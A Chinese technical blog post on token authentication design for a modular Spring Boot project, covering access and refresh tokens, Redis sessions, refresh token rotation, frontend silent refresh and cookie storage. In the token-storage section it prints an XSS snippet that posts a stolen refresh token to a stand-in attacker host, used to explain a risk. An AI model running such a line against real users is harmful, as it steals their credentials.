前言
做前后端分离项目时,登录认证几乎是所有项目绕不开的一部分。
刚开始学习 Spring Boot 的时候,我们可能会觉得 Token 认证非常简单:
text
用户登录
↓
验证用户名密码
↓
生成 JWT
↓
返回给前端
↓
前端保存 JWT
↓
请求接口携带 JWT
于是很容易写出这样的代码:
java
String token = JwtUtils.createToken(userId);
return Result.success(token);
前端:
typescript
localStorage.setItem("token", token);
请求接口:
http
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
看起来没有任何问题。
对于 Demo、课程设计、小型后台管理系统,这套方案甚至可以一直正常运行。
但当项目真正进入实际开发之后,问题很快就出现了:
- Token 有效期应该设置多久?
- 30 分钟是不是太短?
- 7 天是不是又太长?
- Token 过期之后是不是必须重新登录?
- 用户正在填写表单,突然 Token 过期怎么办?
- Token 被别人拿走之后怎么办?
- 用户主动退出登录之后,旧 Token 为什么还能访问接口?
- 用户修改密码之后,其他设备是不是应该掉线?
- 一个账号同时登录多个设备应该怎么管理?
- 前端应该把 Token 存在哪里?
- JWT 到底应该完全无状态,还是应该配合 Redis?
- Refresh Token 到底有没有必要?
- Access Token 和 Refresh Token 有什么本质区别?
这些问题实际上已经不是"怎么生成 JWT"的问题了。
它们属于:
认证系统的生命周期设计问题。
我自己的 Spring Boot 项目在逐渐从简单后台系统发展成实际业务系统之后,也开始重新设计认证体系。
最终我采用的是:
text
Access Token + Refresh Token + Redis
并且认证能力不会散落在每一个业务模块里面,而是作为整个项目的基础能力放进 framework 层。
本文就结合一个真实 Spring Boot 模块化项目,从工程架构、JWT、Redis、Access Token、Refresh Token、前端无感刷新、安全策略等方面,完整讲一下:
前后端分离项目中的 Token 到底应该怎么设计。
一、先从我的 Spring Boot 项目结构说起
在讨论 Token 之前,需要先解释一下我的项目结构。
因为 Token 认证并不是孤立存在的,它最终一定会和 Spring Security、权限认证、Web Filter、Redis、异常处理等基础设施发生关系。
我的 Spring Boot 项目没有把所有代码全部放在一个 src/main/java 下面,而是采用 Maven 多模块结构。
整体可以简化成:
text
project
│
├── framework
│ ├── framework-core
│ ├── framework-web
│ ├── framework-security
│ ├── framework-redis
│ ├── framework-permission
│ └── framework-api-doc
│
├── module
│ ├── module-system
│ ├── module-project
│ ├── module-task
│ ├── module-oauth
│ └── module-xxx
│
└── server
└── Application.java
从职责上来说,我把它理解成三个大的区域:
text
┌────────────────────────────────────────────┐
│ server │
│ │
│ 应用启动 / 模块装配 / 配置 │
└──────────────────────┬─────────────────────┘
│
↓
┌────────────────────────────────────────────┐
│ module │
│ │
│ system / project / task / oauth ... │
│ │
│ 业务能力 │
└──────────────────────┬─────────────────────┘
│
↓
┌────────────────────────────────────────────┐
│ framework │
│ │
│ security / web / redis / core / permission │
│ │
│ 基础技术能力 │
└────────────────────────────────────────────┘
这个结构有一个非常重要的原则:
framework 不应该知道具体业务是什么,但是业务模块可以使用 framework 提供的能力。
例如:
text
framework-security
应该知道:
text
JWT 怎么解析
Token 怎么校验
Authentication 怎么构建
登录上下文怎么保存
权限怎么判断
Security Filter 怎么运行
但是它不应该知道:
text
患者是什么
项目是什么
任务是什么
订单是什么
支付是什么
这些属于:
text
module
这实际上就是模块边界。
二、为什么我要拆成 framework、module、server?
有人可能会问:
一个 Spring Boot 项目而已,为什么搞这么多 Maven Module?
如果只是几千行代码,确实没有必要。
例如:
text
controller
service
mapper
entity
config
utils
这种结构完全够用。
但问题是,当系统越来越大之后,很容易变成:
text
src/main/java
├── controller
│ ├── UserController
│ ├── ProjectController
│ ├── TaskController
│ ├── OrderController
│ ├── PaymentController
│ └── ...
│
├── service
│ ├── UserService
│ ├── ProjectService
│ ├── TaskService
│ └── ...
│
├── config
├── security
├── utils
├── mapper
├── entity
└── ...
表面上进行了分层。
实际上随着项目扩大,业务之间的边界越来越模糊。
最后非常容易出现:
text
AService 调 BService
BService 调 CService
CService 又调 AService
然后出现经典问题:
text
BeanCurrentlyInCreationException
甚至形成循环依赖。
所以 Maven 模块化真正解决的不是:
"文件太多不好找。"
而是:
通过构建系统强制建立架构边界。
例如:
text
module-project
↓
framework-security
↓
framework-core
是允许的。
但是:
text
framework-core
↓
module-project
原则上就不应该出现。
因此我认为 Maven Module 最大的价值并不是目录更漂亮,而是:
把原本依赖开发人员自觉遵守的架构规则,变成构建工具可以检查的依赖关系。
三、这种结构是不是我自己"发明"的?
当然不是。
实际上大量成熟 Java 项目都会进行类似的模块拆分,只不过每个项目的命名方式不同。
例如 RuoYi-Vue 的 Maven 聚合工程中就包含:
text
ruoyi-admin
ruoyi-framework
ruoyi-system
ruoyi-quartz
ruoyi-generator
ruoyi-common
其中 ruoyi-framework 被定义为框架核心模块,而 ruoyi-system 负责系统业务能力。
RuoYi-Vue-Plus 也长期采用类似的 Maven 多模块组织方式。
所以:
text
framework
module
server
并不是某种特殊写法。
它本质上是在表达:
text
技术基础设施
+
业务领域能力
+
最终应用装配
我的项目只是在这个思想上继续细化。
例如:
text
framework
├── core
├── web
├── security
├── redis
├── permission
└── api-doc
而不是把所有框架能力全部塞进:
text
framework
一个模块。
这样做的好处是未来某个业务模块如果只需要:
text
framework-core
就没有必要把:
text
Security
Redis
Swagger
Web
全部间接引进来。
这实际上是在控制:
依赖传播。
四、Token 认证为什么应该属于 framework?
现在回到本文核心。
Token 应该放在哪里?
假设我们有:
text
module-system
module-project
module-task
module-payment
难道每一个模块自己写:
java
JwtUtils.parseToken(token);
显然不合理。
因为:
text
JWT
Spring Security
Authentication
SecurityContext
Token Filter
权限判断
Redis Session
都属于技术基础设施。
所以我把它放到:
text
framework-security
例如:
text
framework-security
└── src/main/java
└── security
├── config
│ └── SecurityConfig.java
│
├── filter
│ └── JwtAuthenticationFilter.java
│
├── token
│ ├── TokenService.java
│ ├── JwtTokenProvider.java
│ └── TokenProperties.java
│
├── context
│ └── LoginUserContext.java
│
├── handler
│ ├── AuthenticationEntryPointImpl.java
│ └── AccessDeniedHandlerImpl.java
│
└── model
└── LoginUser.java
于是业务模块只需要关心:
java
Long userId = LoginUserContext.getUserId();
而不用关心:
text
JWT 怎么解析?
Redis Key 是什么?
Token 有没有过期?
Authentication 怎么创建?
SecurityContextHolder 怎么设置?
这就是基础设施抽象的意义。
五、为什么单 Access Token 方案不够?
最简单的 Token 方案是:
text
登录成功
↓
生成 JWT
↓
JWT 有效期 7 天
↓
前端一直使用
假设:
java
expiration = 7 * 24 * 60 * 60;
那么 Token 七天内都有效。
用户体验很好。
但是安全问题也非常明显。
如果攻击者在第一天拿到了 Token:
text
攻击者
↓
获得 Access Token
↓
未来七天持续访问接口
只要服务器没有额外状态控制,就很难主动让这个 JWT 失效。
所以我们可能想到:
那我把 Token 设置成 30 分钟。
例如:
text
Access Token = 30 分钟
安全性确实提高了。
但是新的问题出现了:
text
用户 14:00 登录
↓
14:29 正在填写表单
↓
14:30 Token 过期
↓
请求返回 401
↓
重新登录
用户体验非常差。
于是我们遇到了一个经典矛盾:
text
Token 时间长
↓
用户体验好
↓
安全风险增加
Token 时间短
↓
安全性提高
↓
用户体验下降
怎么办?
答案就是:
text
Access Token
+
Refresh Token
六、Access Token + Refresh Token 到底是什么?
整个认证体系可以理解成:
text
Access Token
=
短期访问凭证
Refresh Token
=
长期续期凭证
例如我可以设计:
text
Access Token
有效期:30 分钟
Refresh Token
有效期:7 天
用户登录:
text
POST /auth/login
返回:
json
{
"code": 200,
"data": {
"accessToken": "eyJhbGciOiJIUzUxMiJ9...",
"refreshToken": "eyJhbGciOiJIUzUxMiJ9...",
"expiresIn": 1800
}
}
正常业务请求只使用:
text
Access Token
例如:
http
GET /api/project/list
Authorization: Bearer ACCESS_TOKEN
Refresh Token 不应该参与普通业务 API 请求。
它只负责:
text
换取新的 Access Token
于是整个生命周期变成:
text
用户登录
│
↓
┌────────────────────────┐
│ Auth Server │
└───────────┬────────────┘
│
┌────────┴────────┐
↓ ↓
Access Token Refresh Token
30分钟 7天
│ │
↓ │
调用业务API │
│ │
↓ │
Access Token过期 │
│ │
└────────┬────────┘
↓
/auth/refresh
│
↓
新 Access Token
│
↓
继续访问
这样就解决了刚才的矛盾。
七、这种设计有没有权威依据?
有。
这不是某个 Java 博主自己创造的 Token 玩法。
OAuth 2.0 本身就定义了 Access Token 和 Refresh Token。
更重要的是,IETF 在 2025 年发布了:
text
RFC 9700
Best Current Practice for OAuth 2.0 Security
也就是:
text
OAuth 2.0 Security Best Current Practice
RFC 9700 对 Refresh Token 的价值有一个非常重要的说明。
核心思想可以概括为:
Refresh Token 允许授权服务器签发生命周期较短、权限范围受限的 Access Token,从而降低 Access Token 泄露之后可能造成的影响。
这正是本文设计 Access Token + Refresh Token 的核心理论依据。
所以:
text
短 Access Token
+
长 Refresh Token
不是为了"看起来高级"。
而是为了实现:
text
降低 Access Token 泄露窗口
+
保持长期登录体验
两者之间的平衡。
八、Access Token 应该包含什么?
一个 JWT Access Token 通常可以包含:
json
{
"sub": "10001",
"iss": "auth.example.com",
"aud": "api.example.com",
"iat": 1789300000,
"exp": 1789301800,
"jti": "550e8400-e29b-41d4-a716-446655440000"
}
这些字段分别表示:
| Claim | 含义 |
|---|---|
| sub | Subject,用户主体 |
| iss | Issuer,Token 签发者 |
| aud | Audience,Token 使用对象 |
| iat | Issued At,签发时间 |
| exp | Expiration Time,过期时间 |
| jti | JWT ID,Token 唯一编号 |
Spring Security 官方 Resource Server 文档中,也会对 JWT 的:
text
exp
nbf
iss
等声明进行验证。
并且 Spring Security 支持通过:
yaml
spring:
security:
oauth2:
resourceserver:
jwt:
issuer-uri: https://auth.example.com
audiences: https://api.example.com
验证:
text
iss
aud
这意味着一个比较规范的 JWT 不应该只是:
json
{
"userId": 1
}
而应该逐渐向标准 JWT Claim 靠拢。
九、为什么 aud 非常重要?
假设以后我的系统越来越大:
text
auth.example.com
project-api.example.com
payment-api.example.com
admin-api.example.com
如果所有服务拿到 JWT 之后只验证:
text
签名正确
+
没有过期
那么理论上:
text
原本签发给 project-api 的 Token
可能被错误用于:
text
payment-api
所以应该使用:
text
aud
限制 Token 的目标资源。
例如:
json
{
"aud": "project-api"
}
支付服务则要求:
json
{
"aud": "payment-api"
}
RFC 9700 也明确建议 Access Token 应该尽可能进行 Audience Restriction。
简单理解就是:
一张门禁卡不仅应该知道"这个人是谁",还应该知道"这张卡允许进入哪栋楼"。
十、Access Token 为什么一定要短?
假设:
text
Access Token = 7天
Token 泄露:
text
攻击者
↓
获取 Token
↓
理论攻击窗口最长 7 天
如果:
text
Access Token = 30分钟
那么理论攻击窗口显著缩短。
因此我更倾向:
yaml
security:
token:
access-token-expire: 30m
refresh-token-expire: 7d
当然:
text
30分钟
7天
不是行业强制标准。
不同系统应该根据风险等级设置。
例如:
text
普通后台系统
Access Token:30~120分钟
Refresh Token:7~30天
而:
text
支付
金融
医疗
高权限后台
可能需要更加严格。
核心不是记住一个数字,而是理解:
Access Token 应该尽量缩短暴露窗口,Refresh Token 用来维持登录会话。
十一、Refresh Token 为什么不能直接当 Access Token 用?
这是非常重要的一点。
Refresh Token 的权限应该非常单一:
text
只能刷新 Token
而不能:
text
GET /user/list
Authorization: Bearer REFRESH_TOKEN
否则 Access Token 和 Refresh Token 就失去了区分意义。
所以生成 Token 时,我会明确加入:
json
{
"token_type": "access"
}
Refresh Token:
json
{
"token_type": "refresh"
}
例如:
java
public enum TokenType {
ACCESS,
REFRESH
}
创建:
java
public String createAccessToken(LoginUser user) {
return createToken(user, TokenType.ACCESS, accessTokenExpire);
}
public String createRefreshToken(LoginUser user) {
return createToken(user, TokenType.REFRESH, refreshTokenExpire);
}
校验:
java
public void validateAccessToken(String token) {
Claims claims = parseToken(token);
String type = claims.get("token_type", String.class);
if (!"access".equals(type)) {
throw new InvalidTokenException("Invalid access token");
}
}
Refresh:
java
public void validateRefreshToken(String token) {
Claims claims = parseToken(token);
String type = claims.get("token_type", String.class);
if (!"refresh".equals(type)) {
throw new InvalidTokenException("Invalid refresh token");
}
}
这样才能真正形成:
text
Access Token → 访问资源
Refresh Token → 获取新 Token
十二、JWT 到底要不要配 Redis?
这是一个非常经典的问题。
很多人认为:
JWT 就是为了无状态,为什么还要 Redis?
这个说法只说对了一半。
JWT 确实可以做到:
text
完全 Stateless
例如:
text
客户端
↓
JWT
↓
服务器验证签名
↓
直接获取 userId
服务器完全不保存 Session。
优势非常明显:
text
不用查 Redis
不用查数据库
天然适合分布式
但是问题也很明显:
服务端很难主动撤销已经签发出去的 JWT。
例如用户点击:
text
退出登录
前端删除 Token。
但是攻击者如果之前复制了 Token:
text
JWT 仍然没有过期
服务器如果只验证 JWT:
text
签名正确
exp 未过期
那么这个 Token 依然合法。
所以真实业务系统里,我更倾向于:
text
JWT
+
Redis Session
也就是:
JWT 负责身份凭证,Redis 负责会话生命周期。
十三、我的 Redis Token 结构怎么设计?
可以使用:
text
auth:session:{sessionId}
例如:
text
auth:session:
550e8400-e29b-41d4-a716-446655440000
Redis:
json
{
"userId": 10001,
"username": "admin",
"tenantId": "10000001",
"device": "Chrome / macOS",
"loginIp": "127.0.0.1",
"loginTime": 1789300000
}
JWT:
json
{
"sub": "10001",
"sid": "550e8400-e29b-41d4-a716-446655440000",
"token_type": "access",
"exp": 1789301800
}
于是请求流程变成:
text
Request
│
↓
Authorization: Bearer xxx
│
↓
JWT 验签
│
↓
检查 exp
│
↓
获取 sid
│
↓
Redis 查询 Session
│
├── 不存在 → 401
│
└── 存在
│
↓
构造 Authentication
│
↓
SecurityContext
│
↓
Controller
这时候:
text
退出登录
就非常简单:
java
redisTemplate.delete("auth:session:" + sessionId);
即使 JWT 还剩:
text
20分钟
由于 Session 已经不存在:
text
JWT
↓
Redis
↓
Session不存在
↓
401 Unauthorized
立即失效。
十四、JWT + Redis 是不是违背了 JWT 的设计?
并没有。
这里需要区分:
text
JWT 能不能无状态
和:
text
业务系统是否必须完全无状态
是两个问题。
JWT:
text
可以 Stateless
不等于:
text
所有使用 JWT 的系统都必须 Stateless
工程设计永远应该围绕业务需求。
如果你的系统:
text
不需要主动踢人
不需要设备管理
不需要强制退出
不需要修改密码后失效
不需要后台封禁即时生效
完全无状态 JWT 很合适。
但是如果系统需要:
text
在线用户
设备管理
单点登录
踢出登录
强制下线
密码修改失效
账号封禁
Refresh Token Rotation
服务器端保存一定 Session 状态往往更加容易控制。
所以我的设计目标不是:
追求理论上最纯粹的 JWT。
而是:
让认证系统可控。
十五、完整登录流程怎么设计?
登录接口:
http
POST /auth/login
参数:
json
{
"username": "admin",
"password": "123456"
}
服务端:
java
public TokenResponse login(LoginRequest request) {
// 1. 验证用户名密码
LoginUser loginUser = authenticationService.authenticate(
request.getUsername(),
request.getPassword()
);
// 2. 创建 Session
String sessionId = UUID.randomUUID().toString();
LoginSession session = new LoginSession();
session.setSessionId(sessionId);
session.setUserId(loginUser.getUserId());
session.setUsername(loginUser.getUsername());
// 3. 保存 Redis
sessionService.save(session);
// 4. 创建 Access Token
String accessToken =
tokenService.createAccessToken(loginUser, sessionId);
// 5. 创建 Refresh Token
String refreshToken =
tokenService.createRefreshToken(loginUser, sessionId);
return TokenResponse.builder()
.accessToken(accessToken)
.refreshToken(refreshToken)
.expiresIn(1800L)
.build();
}
整个过程:
text
用户名 + 密码
│
↓
AuthenticationService
│
↓
验证账号
│
↓
创建 Session
│
↓
写 Redis
│
↓
┌───────────────┬────────────────┐
↓ ↓
Access Token Refresh Token
↓ ↓
30分钟 7天
十六、Access Token 过期后怎么刷新?
前端发现:
text
401
不要立即跳登录页。
首先尝试:
http
POST /auth/refresh
携带:
text
Refresh Token
服务端:
java
public TokenResponse refresh(String refreshToken) {
// 1. 验证 Refresh Token
TokenClaims claims =
tokenService.parseRefreshToken(refreshToken);
// 2. 获取 Session
LoginSession session =
sessionService.get(claims.getSessionId());
if (session == null) {
throw new UnauthorizedException();
}
// 3. 创建新的 Access Token
String accessToken =
tokenService.createAccessToken(
session.getUserId(),
session.getSessionId()
);
return TokenResponse.builder()
.accessToken(accessToken)
.expiresIn(1800L)
.build();
}
然后前端重新执行原来的请求。
十七、前端怎么实现无感刷新?
Axios 可以统一处理。
例如:
typescript
import axios from "axios"
const service = axios.create({
baseURL: "/api",
timeout: 10000
})
请求:
typescript
service.interceptors.request.use(config => {
const token = getAccessToken()
if (token) {
config.headers.Authorization = `Bearer ${token}`
}
return config
})
响应:
typescript
service.interceptors.response.use(
response => response,
async error => {
const originalRequest = error.config
if (
error.response?.status === 401 &&
!originalRequest._retry
) {
originalRequest._retry = true
const refreshToken = getRefreshToken()
const response = await axios.post(
"/auth/refresh",
{
refreshToken
}
)
const newAccessToken =
response.data.data.accessToken
saveAccessToken(newAccessToken)
originalRequest.headers.Authorization =
`Bearer ${newAccessToken}`
return service(originalRequest)
}
return Promise.reject(error)
}
)
用户看到的是:
text
正常请求
↓
Token 过期
↓
自动刷新
↓
重新请求
↓
正常返回
整个过程用户完全不需要操作。
十八、这里还有一个并发刷新陷阱
假设页面同时发送:
text
GET /user/info
GET /menu/list
GET /notice/list
GET /project/list
此时 Access Token 刚好过期。
那么四个请求全部返回:
text
401
如果按照刚才最简单的实现:
text
四个请求
↓
四次 /auth/refresh
这是有问题的。
尤其后面实现:
text
Refresh Token Rotation
以后问题更加严重。
所以前端应该建立:
text
refresh lock
例如:
typescript
let isRefreshing = false
let requests: Array<(token: string) => void> = []
如果已经有人刷新:
typescript
if (isRefreshing) {
return new Promise(resolve => {
requests.push(token => {
originalRequest.headers.Authorization =
`Bearer ${token}`
resolve(service(originalRequest))
})
})
}
第一个请求:
typescript
isRefreshing = true
刷新成功:
typescript
const newToken = response.data.data.accessToken
requests.forEach(callback => callback(newToken))
requests = []
isRefreshing = false
最终:
text
Request A ───────┐
Request B ───────┤
Request C ───────┤──→ 只有一个 Refresh Request
Request D ───────┘
│
↓
New Access Token
│
┌───────────┼───────────┐
↓ ↓ ↓
A B C ...
这是前端实现 Refresh Token 时非常容易忽略的细节。
十九、Refresh Token Rotation 是什么?
如果我们进一步提高安全性,就会涉及:
text
Refresh Token Rotation
传统方案:
text
Refresh Token A
↓
刷新
↓
Access Token B
Refresh Token A 继续使用
Rotation:
text
Refresh Token A
↓
刷新
↓
Access Token B
+
Refresh Token B
Refresh Token A
立即失效
下一次:
text
Refresh Token B
↓
Access Token C
+
Refresh Token C
形成:
text
RT1
↓
RT2
↓
RT3
↓
RT4
旧 Token:
text
立即失效
二十、为什么 Refresh Token Rotation 很重要?
假设攻击者偷到了:
text
Refresh Token A
普通方案:
text
用户持有 A
攻击者也持有 A
两个人都可以持续刷新
服务器很难发现。
Rotation 以后:
text
用户使用 A
↓
获得 B
↓
A 作废
攻击者再使用:
text
A
服务器发现:
text
这个 Refresh Token 已经使用过
这意味着:
text
可能发生 Token Replay
此时可以:
text
撤销整个 Session
强制重新登录。
二十一、RFC 9700 对 Refresh Token Rotation 怎么说?
这一点有非常强的标准依据。
IETF RFC 9700 明确要求,对于 Public Client,如果签发 Refresh Token,需要使用以下机制之一检测 Refresh Token Replay:
text
Sender-Constrained Refresh Token
或者
Refresh Token Rotation
其中 Rotation 的基本思想就是:
text
每次刷新
↓
签发新的 Refresh Token
↓
旧 Refresh Token 失效
↓
保留 Token 之间的关联关系
如果旧 Refresh Token 再次出现,就说明:
text
Token 可能已经泄露
所以如果我要继续增强当前项目的认证安全性,我会优先考虑:
text
Access Token
+
Refresh Token
+
Redis Session
+
Refresh Token Rotation
二十二、Redis 怎么支持 Refresh Token Rotation?
可以保存:
text
auth:refresh:{jti}
例如:
text
auth:refresh:
9d20e20a-xxxx-xxxx
内容:
json
{
"sessionId": "xxx",
"userId": 10001,
"status": "ACTIVE"
}
刷新:
java
@Transactional
public TokenResponse refresh(String refreshToken) {
TokenClaims claims =
tokenService.parseRefreshToken(refreshToken);
String jti = claims.getJti();
RefreshTokenInfo oldToken =
refreshTokenRepository.get(jti);
if (oldToken == null) {
throw new InvalidTokenException();
}
if (oldToken.isUsed()) {
// 可能出现 Refresh Token Replay
sessionService.revoke(oldToken.getSessionId());
throw new TokenReplayException();
}
// 标记旧 Token 已使用
refreshTokenRepository.markUsed(jti);
// 创建新的 Token
String newAccessToken =
tokenService.createAccessToken(...);
String newRefreshToken =
tokenService.createRefreshToken(...);
return new TokenResponse(
newAccessToken,
newRefreshToken
);
}
这时候:
text
Refresh Token
实际上变成了:
一次性续期凭证。
二十三、前端到底应该把 Token 放在哪里?
很多 Vue 项目会直接:
typescript
localStorage.setItem(
"access_token",
accessToken
)
实现确实简单。
但是安全上必须知道一个问题:
text
localStorage
可以被当前 Origin 下执行的 JavaScript 读取。
如果发生 XSS:
javascript
fetch("https://attacker.example", {
method: "POST",
body: localStorage.getItem("refresh_token")
})
Refresh Token 就可能被窃取。
OWASP 的 HTML5 Security / Session Management Cheat Sheet 对这一点给出了非常明确的安全建议:
不要把认证 Token、Session ID、JWT、Refresh Token 等凭证直接作为长期敏感信息存储在 localStorage 或 sessionStorage 中。
原因就是:
text
XSS
↓
执行 JavaScript
↓
读取 localStorage
↓
Token 泄露
所以对于 Web 项目,更严格的设计可以采用:
text
Access Token
↓
内存
Refresh Token
↓
HttpOnly Cookie
例如:
http
Set-Cookie:
refresh_token=xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/auth/refresh
这样 JavaScript:
javascript
document.cookie
无法直接读取:
text
HttpOnly Refresh Token
安全性会更好。
二十四、HttpOnly Cookie 就绝对安全吗?
当然不是。
安全设计永远不是:
text
用了某个技术 = 绝对安全
Cookie 需要继续考虑:
text
CSRF
SameSite
Secure
Domain
Path
HTTPS
CORS
例如:
text
HttpOnly
解决的是:
text
JavaScript 直接读取 Cookie
不是解决所有 Web 安全问题。
所以比较完整的 Cookie 应该类似:
http
Set-Cookie: refresh_token=xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/auth/refresh;
Max-Age=604800
这也是为什么:
Token 存储问题本质上是 Web 安全问题,而不是简单的前端 API 使用问题。
二十五、退出登录应该怎么设计?
如果只是:
typescript
localStorage.removeItem("token")
这不叫真正的退出登录。
这只是:
text
客户端忘记 Token
真正退出应该:
http
POST /auth/logout
服务端:
java
public void logout(String sessionId) {
sessionService.delete(sessionId);
refreshTokenService.revokeBySessionId(sessionId);
}
然后:
text
Redis Session
Refresh Token
全部撤销。
完整过程:
text
Logout
│
↓
解析当前 SessionId
│
↓
删除 Redis Session
│
↓
撤销 Refresh Token
│
↓
客户端清除 Access Token
│
↓
登录状态彻底失效
二十六、修改密码之后怎么办?
真实项目还有一个非常重要的安全策略:
text
修改密码
之后是否让其他设备掉线?
我倾向:
text
修改密码
↓
撤销该用户所有 Session
↓
所有设备重新登录
例如 Redis:
text
auth:user:sessions:{userId}
维护:
text
userId
↓
session1
session2
session3
修改密码:
java
public void changePassword(
Long userId,
String newPassword
) {
userService.updatePassword(
userId,
passwordEncoder.encode(newPassword)
);
sessionService.revokeAllByUserId(userId);
}
RFC 9700 也提到授权服务器可以在安全事件发生时自动撤销 Refresh Token,例如:
text
password change
logout
这说明这种设计不是凭感觉决定的,而是符合现代 OAuth 安全实践的。
二十七、为什么不要把密码、角色等大量数据塞进 JWT?
有些项目 JWT 会放:
json
{
"userId": 1,
"username": "admin",
"nickname": "管理员",
"email": "...",
"phone": "...",
"roles": [...],
"permissions": [...],
"tenant": {...}
}
最后 JWT 两三 KB。
我个人不建议。
第一:
text
JWT Payload 默认不是加密
只是:
text
Base64URL
所以不要放:
text
password
身份证
手机号
隐私信息
敏感业务数据
第二:
Token 越大:
text
每一个 HTTP Request
都需要携带。
例如:
text
3KB Token
×
1000万请求
会产生大量额外网络流量。
所以我的 Access Token 更倾向于只保存:
json
{
"sub": "10001",
"sid": "xxx",
"iss": "auth.example.com",
"aud": "api.example.com",
"jti": "xxx",
"token_type": "access",
"iat": 1789300000,
"exp": 1789301800
}
需要用户详细信息:
text
sid
↓
Redis Session
或者:
text
userId
↓
业务查询
这样职责更加清晰。
二十八、为什么我的 Token 设计和 Maven 模块设计其实是同一种思想?
看到这里可能会发现一个很有意思的事情。
我的 Maven 项目设计:
text
framework
module
server
和 Token 设计:
text
Access Token
Refresh Token
Session
背后其实都是同一个思想:
职责分离。
项目结构:
text
framework
↓
技术能力
module
↓
业务能力
server
↓
应用装配
认证:
text
Access Token
↓
访问资源
Refresh Token
↓
刷新凭证
Redis Session
↓
管理会话生命周期
不要让一个东西承担所有职责。
这也是我现在越来越重视的一种工程思想:
一个组件越容易解释清楚"它只负责什么",系统长期维护起来通常就越简单。
二十九、和 RuoYi 这类开源框架相比,我为什么还要自己设计?
RuoYi、RuoYi-Vue-Plus 等成熟项目非常值得参考。
例如它们已经验证了:
text
Maven 聚合工程
+
Framework
+
System
+
Admin
这种模块化结构在实际后台系统中的可行性。
但是:
参考开源框架,不代表必须复制开源框架。
我的项目希望进一步明确:
text
framework
=
基础技术能力
module
=
业务领域能力
server
=
最终启动与装配
于是未来项目即使增加:
text
module-ai
module-payment
module-hospital
module-project
module-task
基础结构仍然不会变化。
认证能力:
text
framework-security
Redis:
text
framework-redis
Web:
text
framework-web
API 文档:
text
framework-api-doc
业务:
text
module-xxx
最终:
text
server
只负责:
java
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(
Application.class,
args
);
}
}
这就是我希望达到的状态:
业务不断增加,但是底层架构不需要不断推倒重来。
三十、如果以后改成微服务,这个结构还有意义吗?
有。
实际上这种模块化单体结构还有一个隐藏价值:
text
为未来服务拆分提前建立边界
例如现在:
text
module-system
module-project
module-task
module-payment
全部运行在:
text
server
里面。
这是:
text
Modular Monolith
以后如果业务真的增长到需要微服务:
text
module-payment
理论上可以逐渐拆成:
text
payment-service
而:
text
module-system
可以变成:
text
system-service
认证:
text
framework-security
逐渐演变成:
text
Authorization Server
+
Resource Server
所以:
text
模块化单体
并不是:
text
微服务的反面
反而可能是:
在真正需要微服务之前,更理性的中间状态。
三十一、最终我采用的 Token 架构
综合安全性、开发复杂度、用户体验和后期扩展,我现在更倾向下面这套设计:
text
Client
│
│ Login
↓
┌───────────────┐
│ Authentication│
└───────┬───────┘
│
┌────────┴────────┐
↓ ↓
Access Token Refresh Token
30 min 7 days
│ │
│ ↓
│ Refresh Endpoint
│ │
│ Token Rotation
│ │
└────────┬────────┘
│
↓
Redis Session
│
↓
Login Lifecycle
后端模块:
text
framework-security
├── SecurityConfig
├── JwtAuthenticationFilter
├── TokenService
├── JwtTokenProvider
├── LoginUserContext
├── AuthenticationEntryPoint
└── AccessDeniedHandler
业务模块:
text
module-system
module-project
module-task
module-payment
...
启动:
text
server
最终形成:
text
客户端
↓
Access Token
↓
Security Filter
↓
JWT 验证
↓
Redis Session
↓
Authentication
↓
业务 Module
三十二、最后总结
如果只是写一个 Demo:
text
JWT
+
localStorage
完全可以。
但如果是准备长期维护的真实前后端分离项目,我认为至少应该认真考虑:
text
Access Token
+
Refresh Token
+
Session 生命周期
而不是:
text
登录生成一个 JWT
然后七天不管
Access Token 解决的是:
text
我现在有没有权限访问资源?
Refresh Token 解决的是:
text
Access Token 过期之后,能不能安全地继续登录状态?
Redis Session 解决的是:
text
服务器能不能主动控制这次登录?
Refresh Token Rotation 进一步解决:
text
Refresh Token 被复制以后,服务器能不能发现重放行为?
所以最终:
text
Access Token
≠
Refresh Token
≠
Session
三者虽然都和"登录状态"有关,但职责完全不同。
同样的思想也体现在我的 Spring Boot Maven 模块设计中:
text
framework
≠
module
≠
server
其中:
text
framework
负责:
text
Security
Redis
Web
Core
Permission
API Doc
也就是通用基础设施。
text
module
负责:
text
System
Project
Task
Payment
AI
以及其他具体业务
而:
text
server
只负责:
text
启动
配置
装配
我越来越认为,一个项目是否真正具有可维护性,并不取决于:
text
用了多少中间件
用了多少设计模式
用了多少微服务
而取决于:
每一个模块、每一个组件、每一个 Token,能不能明确说清楚自己的职责和边界。
当一个 Spring Boot 项目开始从:
text
Controller
Service
Mapper
Utils
逐渐发展到:
text
framework
module
server
真正发生变化的并不只是目录结构。
而是我们开始从:
"把功能写出来"
逐渐转向:
"考虑这个系统未来应该怎么继续长大。"
同样,当认证系统从:
text
一个 JWT 用到底
变成:
text
短生命周期 Access Token
+
长期 Refresh Token
+
Refresh Token Rotation
+
可撤销 Redis Session
变化的也不仅仅是多生成了一个 Token。
而是认证系统开始真正拥有:
text
生命周期
撤销能力
设备管理能力
风险控制能力
扩展能力
这才是我认为 Access Token + Refresh Token 真正值得设计的原因。
参考资料
本文设计与分析主要参考以下规范、官方文档及开源项目:
-
IETF RFC 6749 --- The OAuth 2.0 Authorization Framework
- OAuth 2.0 核心标准
- 定义 Access Token、Refresh Token、Authorization Server、Resource Server 等核心概念
-
IETF RFC 6750 --- The OAuth 2.0 Authorization Framework: Bearer Token Usage
- 定义 Bearer Token 的标准使用方式
Authorization: Bearer <token>即来源于这一规范体系
-
IETF RFC 9700 --- Best Current Practice for OAuth 2.0 Security
- OAuth 2.0 当前安全最佳实践
- 讨论 Access Token 权限限制、Refresh Token 保护、Refresh Token Rotation、Token Replay 等问题
- RFC 9700 于 2025 年正式发布,并作为 OAuth 2.0 Security Best Current Practice
-
Spring Security Reference --- OAuth 2.0 Resource Server JWT
- Spring Security 官方 JWT Resource Server 文档
- 官方支持 Bearer Token、JWT Signature、
exp、nbf、iss、aud等验证机制
-
OWASP Cheat Sheet Series --- HTML5 Security Cheat Sheet
- 对 localStorage、sessionStorage 等浏览器存储机制进行安全分析
- 强调 XSS 对客户端敏感数据存储带来的风险
-
OWASP Cheat Sheet Series --- Session Management Cheat Sheet
- Session 生命周期、Cookie、安全属性、客户端存储等安全实践
-
RuoYi-Vue
- Maven 多模块后台管理系统
- 采用
ruoyi-admin、ruoyi-framework、ruoyi-system、ruoyi-common等模块组织方式
-
RuoYi-Vue-Plus
